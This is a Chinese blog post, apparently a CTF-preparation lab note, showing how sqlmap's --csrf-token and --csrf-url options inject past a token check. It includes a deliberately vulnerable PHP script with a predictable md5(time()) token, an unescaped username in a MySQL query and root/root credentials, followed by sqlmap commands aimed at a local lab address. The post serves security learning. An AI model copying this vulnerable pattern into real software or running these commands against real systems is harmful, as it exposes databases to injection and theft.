热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phpcsrf打MySQL_sqlmap绕过CSRF检测进行注入

最近在准备比赛,打sqlilabs时看了一下sqlmap的wiki,发现了–csrf-token和–csrf-url的参数,于是写了个ph

最近在准备比赛,打sqlilabs时看了一下sqlmap的wiki,发现了–csrf-token和–csrf-url的参数,于是写了个php版本的bug试了一试。

同时也了解了一下大家对csrf注入的普遍做法:sqlmap+burp正则匹配,两相比较,还是sqlmap自带的功能比较方便。

写一个bug

CSRF的普遍防御方法是增加anti-csrf token,也就是一串不可预测的字符串。于是动手写了一个php版本防csrf的sqli脚本,这里写的并不规范,时间戳是可以被预测的,而且此脚本可以被绕过token检测,有兴趣可以琢磨一下。

session_start();

//生成随机token

$token = md5(time());

//获取name参数

$name = isset($_GET['name']) ? $_GET['name']: '';

//校验token

if ($_GET['token'] == $_SESSION['token']) {

//执行sql语句

$mysqli = new mysqli("127.0.0.1","root","root");

$mysqli->select_db("test");

if (!$mysqli->connect_error) {

$query = "select * from admin where username = '$name'";

$result = $mysqli->query($query);

if (!$mysqli->error) {

while ($row = $result->fetch_row()) {

echo $row;

}

} else {

echo $mysqli->error;

}

} else {

echo $mysqli->connect_error;

}

$mysqli->close();

} else {

echo "no token";

}

//以hidden表单元素的形式输出token

echo "";

//刷新SESSION中token

$_SESSION['token'] = $token;

?>

漏洞利用

sqlmap 中有这样两个参数

–csrf-token=”token_name”,指定随机化token的参数名

–csrf-url=”http://x.x.x.x/page”,指定获取token值的地址

如果没有指定–csrf-url,则默认从当前页面获取token。先来看看不指定token时,sqlmap的输出:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session

923a19ece604

sqlmap根据关键字,识别出了token参数,但是默认不获取token,没有发现注入点。

再来看看指定token时的输出:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token"

923a19ece604

确认了注入的存在,并且在wireshark中观察到token被sqlmap自动更新

923a19ece604

在这个demo中,获取token的页面和注入点相同,在真实场景中,可能需要单独获取token值,这时要用到–csrf-url=的参数。

所以使用以下命令,效果也是一样的:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token" --csrf-url="http://192.168.154.134/tokensql.php"



推荐阅读
  • 配置PHPStudy环境并使用DVWA进行Web安全测试
    本文详细介绍了如何在PHPStudy环境下配置DVWA( Damn Vulnerable Web Application ),并利用该平台进行SQL注入和XSS攻击的练习。通过此过程,读者可以熟悉常见的Web漏洞及其利用方法。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 根据最新发布的《互联网人才趋势报告》,尽管大量IT从业者已转向Python开发,但随着人工智能和大数据领域的迅猛发展,仍存在巨大的人才缺口。本文将详细介绍如何使用Python编写一个简单的爬虫程序,并提供完整的代码示例。 ... [详细]
  • 本文探讨了如何优化和正确配置Kafka Streams应用程序以确保准确的状态存储查询。通过调整配置参数和代码逻辑,可以有效解决数据不一致的问题。 ... [详细]
  • 深入解析 Apache Shiro 安全框架架构
    本文详细介绍了 Apache Shiro,一个强大且灵活的开源安全框架。Shiro 专注于简化身份验证、授权、会话管理和加密等复杂的安全操作,使开发者能够更轻松地保护应用程序。其核心目标是提供易于使用和理解的API,同时确保高度的安全性和灵活性。 ... [详细]
  • 百度搜索结果链接提取工具 UrlGetter V1.43
    该工具专为获取百度搜索引擎的结果页面中的网址链接而设计,能够解析并转换为原始URL。通过正则表达式匹配技术,精准提取网页链接,并提供详细的使用说明和下载资源。 ... [详细]
  • PHP 过滤器详解
    本文深入探讨了 PHP 中的过滤器机制,包括常见的 $_SERVER 变量、filter_has_var() 函数、filter_id() 函数、filter_input() 函数及其数组形式、filter_list() 函数以及 filter_var() 和其数组形式。同时,详细介绍了各种过滤器的用途和用法。 ... [详细]
  • 本文由杨勇和思远于2012年12月27日撰写,主要探讨了如何使用PHP进行网页内容抓取,特别是针对字符较多的网站。文章详细介绍了正则表达式失效的原因,并提供了优化方法,同时展示了如何抓取淘宝服饰栏、天气信息以及IP地址对应的地理位置。 ... [详细]
  • 深入理解 .NET 中的中间件
    中间件是插入到应用程序请求处理管道中的组件,用于处理传入的HTTP请求和响应。它在ASP.NET Core中扮演着至关重要的角色,能够灵活地扩展和自定义应用程序的行为。 ... [详细]
  • 深入解析Spring启动过程
    本文详细介绍了Spring框架的启动流程,帮助开发者理解其内部机制。通过具体示例和代码片段,解释了Bean定义、工厂类、读取器以及条件评估等关键概念,使读者能够更全面地掌握Spring的初始化过程。 ... [详细]
  • Python + Pytest 接口自动化测试中 Token 关联登录的实现方法
    本文将深入探讨 Python 和 Pytest 在接口自动化测试中如何实现 Token 关联登录,内容详尽、逻辑清晰,旨在帮助读者掌握这一关键技能。 ... [详细]
  • 本文探讨了在 SQL Server 中使用 JDBC 插入数据时遇到的问题。通过详细分析代码和数据库配置,提供了解决方案并解释了潜在的原因。 ... [详细]
  • Django Token 认证详解与 HTTP 401、403 状态码的区别
    本文详细介绍了如何在 Django 中配置和使用 Token 认证,并解释了 HTTP 401 和 HTTP 403 状态码的区别。通过具体的代码示例,帮助开发者理解认证机制及权限控制。 ... [详细]
  • 烤鸭|本文_Spring之Bean的生命周期详解
    烤鸭|本文_Spring之Bean的生命周期详解 ... [详细]
  • 深入浅出TensorFlow数据读写机制
    本文详细介绍TensorFlow中的数据读写操作,包括TFRecord文件的创建与读取,以及数据集(dataset)的相关概念和使用方法。 ... [详细]
author-avatar
timer_open
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有